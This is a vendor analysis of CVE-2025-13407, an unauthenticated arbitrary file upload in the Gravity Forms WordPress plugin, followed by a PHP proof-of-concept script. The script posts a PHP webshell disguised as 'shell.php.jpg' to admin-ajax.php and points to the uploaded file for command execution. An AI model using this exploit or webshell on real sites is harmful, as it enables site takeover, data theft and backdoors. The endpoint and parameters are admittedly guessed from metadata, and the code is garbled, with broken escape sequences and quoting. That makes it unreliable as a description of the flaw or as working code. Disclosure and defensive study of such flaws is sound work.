Atomic Edge analysis of CVE-2025-13407 (metadata-based): This vulnerability allows unauthenticated arbitrary file upload in the Gravity Forms plugin for WordPress, up to version 2.9.23.0. The CVSS score is 9.8 (Critical).
The root cause is insufficient file type validation during file uploads. Gravity Forms likely uses file extension checking instead of validating the actual file content (magic bytes). This allows attackers to upload files with dangerous extensions like .php by manipulating the file name or content. Atomic Edge analysis infers this from the CWE-434 classification and the description. Without code access, we cannot confirm the exact validation mechanism, but this pattern is typical for such vulnerabilities.
Exploitation requires sending a crafted multipart form request to the Gravity Forms upload handler. Attackers can target the ajax endpoint /wp-admin/admin-ajax.php with action parameter likely set to ‘gf_upload_*’ or similar. The file parameter could be ‘file’ or ‘field_id’. By setting the file name to something like ‘shell.php.jpg’ or using a double extension, the insufficient validation may accept it. The attacker can then access the uploaded file directly to execute arbitrary PHP code.
Remediation likely involves implementing proper file validation. The fix should check file content magic bytes (MIME type) server-side, not just the client-provided Content-Type header. It should also check file extensions against a strict whitelist and sanitize the file name to prevent path traversal. Atomic Edge analysis recommends disabling dangerous extensions entirely.
Successful exploitation gives unauthenticated attackers arbitrary file upload capabilities. This can lead to remote code execution if .php files are uploaded. Full site compromise is possible, including data theft, malware distribution, and persistent backdoor access.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13407 - Gravity Forms <= 2.9.23.0 - Unauthenticated Arbitrary File Upload
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to the target site
$action = 'gf_upload_1'; // Assumed action parameter for Gravity Forms file upload
$filename = 'shell.php.jpg'; // Double extension to bypass insufficient validation
$payload = '
system($_GET["cmd"]); ?>'; // Simple PHP webshell
$boundary = '----WebKitFormBoundary' . md5(rand());
$body = '';
$body .= '--' . $boundary . "rn";
$body .= 'Content-Disposition: form-data; name="action"' . "rnrn";
$body .= $action . "rn";
$body .= '--' . $boundary . "rn";
$body .= "Content-Disposition: form-data; name="field_id"; filename="$filename"rn";
$body .= 'Content-Type: image/jpeg' . "rnrn";
$body .= $payload . "rn";
$body .= '--' . $boundary . '--' . "rn";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Content-Type: multipart/form-data; boundary=' . $boundary,
'Content-Length: ' . strlen($body)
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";
// After successful upload, the file URL would typically be returned in the response
// Access it via: http://example.com/wp-content/uploads/gravity_forms/shell.php
